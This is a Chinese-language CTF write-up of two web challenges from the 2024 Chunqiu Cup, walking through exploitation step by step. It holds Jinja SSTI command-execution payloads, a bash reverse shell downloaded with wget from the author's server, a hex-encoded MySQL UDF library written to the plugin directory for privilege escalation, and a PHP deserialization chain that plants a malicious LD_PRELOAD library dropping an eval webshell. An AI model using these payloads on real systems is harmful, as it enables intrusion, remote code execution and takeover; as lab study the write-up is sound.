2024春秋杯部分wp

brother

打开题目是?name=hello，还回显了hello，看一下后台语言和框架

一眼ssti模版注入，

?name={{g.pop.__globals__.__builtins__.__import__('os').popen('ls').read()}}

看一下当前目录的东西：

api.py evil.key sql-proxy.jar update.py www.py

api.py

import mysql.connector, time, threading, socket
from flask import Flask, request

app = Flask(__name__)


def mysql_keepalive():
    config = {
        'user': 'ctf',
        'password': '123456',
        'host': '127.0.0.1',
        'database': 'mysql',
        'port': 6666,

    }
    try:
        db_connection = mysql.connector.connect(**config)
        cursor = db_connection.cursor()
    except mysql.connector.Error as err:
        print(err)
        exit(0)
    while True:
        try:
            cursor.execute("SELECT VERSION();")
            cursor.fetchone()
        except mysql.connector.Error as err:
            print(f"连接中断: {err}")
        time.sleep(10)


def handle_client_connection(client_socket):
    try:
        while True:
            client_socket.send('{"code":0, "path": ""}'.encode('utf-8'))
            time.sleep(10)
    except Exception as e:
        print(f"Error handling client: {e}")


def update_api():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = '0.0.0.0'
    port = 7777
    server_socket.bind((host, port))
    server_socket.listen(1)
    print(f"update_api Listening on port {port}...")
    while True:
        client_socket, addr = server_socket.accept()
        handle_client_connection(client_socket)


@app.route('/evil', methods=['POST'])
def evil():
    code = request.json['code']
    key = request.json['key']
    if key == open("./evil.key").read():
        exec(code)
        return "ok"
    else:
        return "key error"


if __name__ == '__main__':
    threading.Thread(target=mysql_keepalive).start()
    threading.Thread(target=update_api).start()
    app.run("127.0.0.1", 5000)

这里有一个evil路由，可以执行root权限的命令，但是需要key，key是在evil.key文件里的，不出所料这个文件我们也是没有权限读取的。

这个文件还让我们了解了mysql服务，有账户ctf密码123456

update.py

import json
import socket
import tarfile

def extract_specific_file(tar_path, file_name, extract_path):
    with tarfile.open(tar_path, "r:gz") as tar:
        file_info = tar.getmember(file_name)
        tar.extract(file_info, path=extract_path)
        print("ok")

s = socket.socket()
s.connect(("127.0.0.1", 7777))
while True:
    data = s.recv(1024)
    try:
        js = json.loads(data)
        if js['code'] == 1:
            extract_specific_file(js['path'], 'new.bin', "/updatedir")
    except:
        s.send(b'Error')

这个文件给了一个解压文件的函数

www.py没啥看的，就是模版渲染的地方。

这道题是非预期，在brother_revenge这道题被修复了，hh所以没用上key和evil路由，打mysql udf提权

反弹shell

第一步得反弹shell，这样方便我们操作，这道题环境没有curl、nc等常用命令。（最开始curl没测出来还以为不出网=-=）但是这里有wget命令，我们在自己的vps上放入一个shell.sh文件。

bash -i >& /dev/tcp/ip/port 0>&1

把这个文件用wget下载到tmp目录里：

?name={{g.pop.__globals__.__builtins__.__import__('os').popen('cd /tmp;wget http://ip/shell.sh').read()}}

刚下载进去这个sh文件是没有执行权限的，我们需要给他加上执行权限

?name={{g.pop.__globals__.__builtins__.__import__('os').popen('cd /tmp;chmod %2bx *').read()}}

这里的命令chmod +x *为什么要把加号变成%2b呢？是因为这里加号会被url自动解码成空格，我们想用加号就必须用加号的url编码之后的形式。

现在shell.sh就有了执行权限，我们先服务器起监听，然后运行这个文件bash /tmp/shell.sh

成功反弹shell

mysql udf提权

这里奉上国光师傅的文章

https://www.sqlsec.com/2020/11/mysql.html

总的来说我们需要写入动态链接库，这里没有注入点，就没法用sqlmap直接写入，需要用原生mysql语句打。当 secure_file_priv 无限制的时候，我们也是可以手工写文件到 plugin 目录下的

我们先进入可交互式的mysql里

script /dev/null -c bash
然后ctrl+z
stty raw -echo; fg
mysql -uctf -p123456

利用这个工具https://www.sqlsec.com/tools/udf.html

我们需要的是lib_mysqludf_sys_64.so

SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

利用原生sql语句，写入udf.so文件，然后创建自定义函数并调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval：

mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+

这里的 sys_eval 支持自定义，接着就可以通过创建的这个函数来执行系统命令了：

select sys_eval('cat /flag');

flag{2d401533-badd-4db8-b064-426b95038e80}

Hijack

这道题跟vnctf2024 givenphp很像，我当时这道题就没做出来=-=

题目源码：

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}
$c = $_POST['Harder'];
unserialize($c);
?> 

这道题的关键点是给了提示，是LD_PRELOAD，https://blog.csdn.net/qq_63701832/article/details/129760495

LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库，那么我们便可以在自己定义的动态链接库中装入恶意函数.假设现在出现了一种这样的情况，一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一模一样，而LD_PRELOAD路径指向这个文件后，这个文件的优先级高于原本函数的文件，那么优先调用我们的恶意文件后会覆盖原本的那个函数，最后当我们执行了一个指令后它会自动调用一次恶意的函数，这就会导致一些非预期的漏洞出现

核心思路：

我们看源码DIFF->__isset方法里使用了cat命令，我们如果可以修改cat命令里调用的函数，把他放到LD_PRELOAD里，这里ENV的putenv(“$key=$value”);函数可以达成这个效果，正好FILE->call方法里有个文件上传点，我们把恶意函数封装成恶意so文件，上传上去，拿到文件路径。然后通过ENV类里的putenv函数把恶意so文件放到LD_PRELOAD里，那么在每次使用cat的时候，就会调用我们恶意so文件里封装的恶意函数，那么就可以达到RCE的效果。

我们先看看cat命令调用了哪些函数：

ltrace cat

我们可以看到cat命令当中调用了很多函数，这里不列举，我们选择最简单的getpagesize() 函数进行污染竞争。

写个C文件，函数名称是getpagesize，这是我们的恶意函数，然后使用gcc命令把它封装成一个so文件。

#include <stdlib.h>
#include <string.h>
int getpagesize() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    system("echo '<?php @eval($_POST[123]);?>' > /var/www/html/123.php");
return 0;
}

gcc exp.c -o exp.so -fPIC -shared -ldl -D_GNU_SOURCE

现在我们得到so文件了，利用反序列化上传上去，pop链的构造这里不再赘述。

<?php
class ENV{
    public $key;
    public $value;
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    public $flag;
    }
class FILE{
    public $filename='1.so';
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$a = new ENV();
$a->math = new DIFF();
$a->math->callback = new FUN();
$a->math->callback->fun = new FILE();
$a->math->callback->value=base64_encode(file_get_contents("./exp.so"));
//由于题目里是base64解码后写入文件，我们这里也通过base64读入value里。
echo urlencode(serialize($a));

文件成功写入，我们记一下文件路径和名字/tmp/0df3a338b535b11d3ba93f518b697978.so

然后经过ENV的putenv(“$key=$value”);把他放到LD_PRELOAD里，这里pop链的构造同样不再赘述。

<?php
class ENV{
    public $key='LD_PRELOAD';
    public $value='/tmp/0df3a338b535b11d3ba93f518b697978.so';
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    public $flag;

    }
class FILE{
    public $filename;
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$a = new ENV();
$a->math = new DIFF();
$a->math->callback = new FILE();
$a->math->callback->enviroment=new ENV();

echo urlencode(serialize($a));

因为假flag都被调用了，那么cat肯定也被调用了，说明我们写的恶意函数已经被调用了。现在我们去123.php看看文件写进去没有。

拿到flag。

flag{0b5339cb-69d0-42ad-bf61-2c02ac4b5b3a}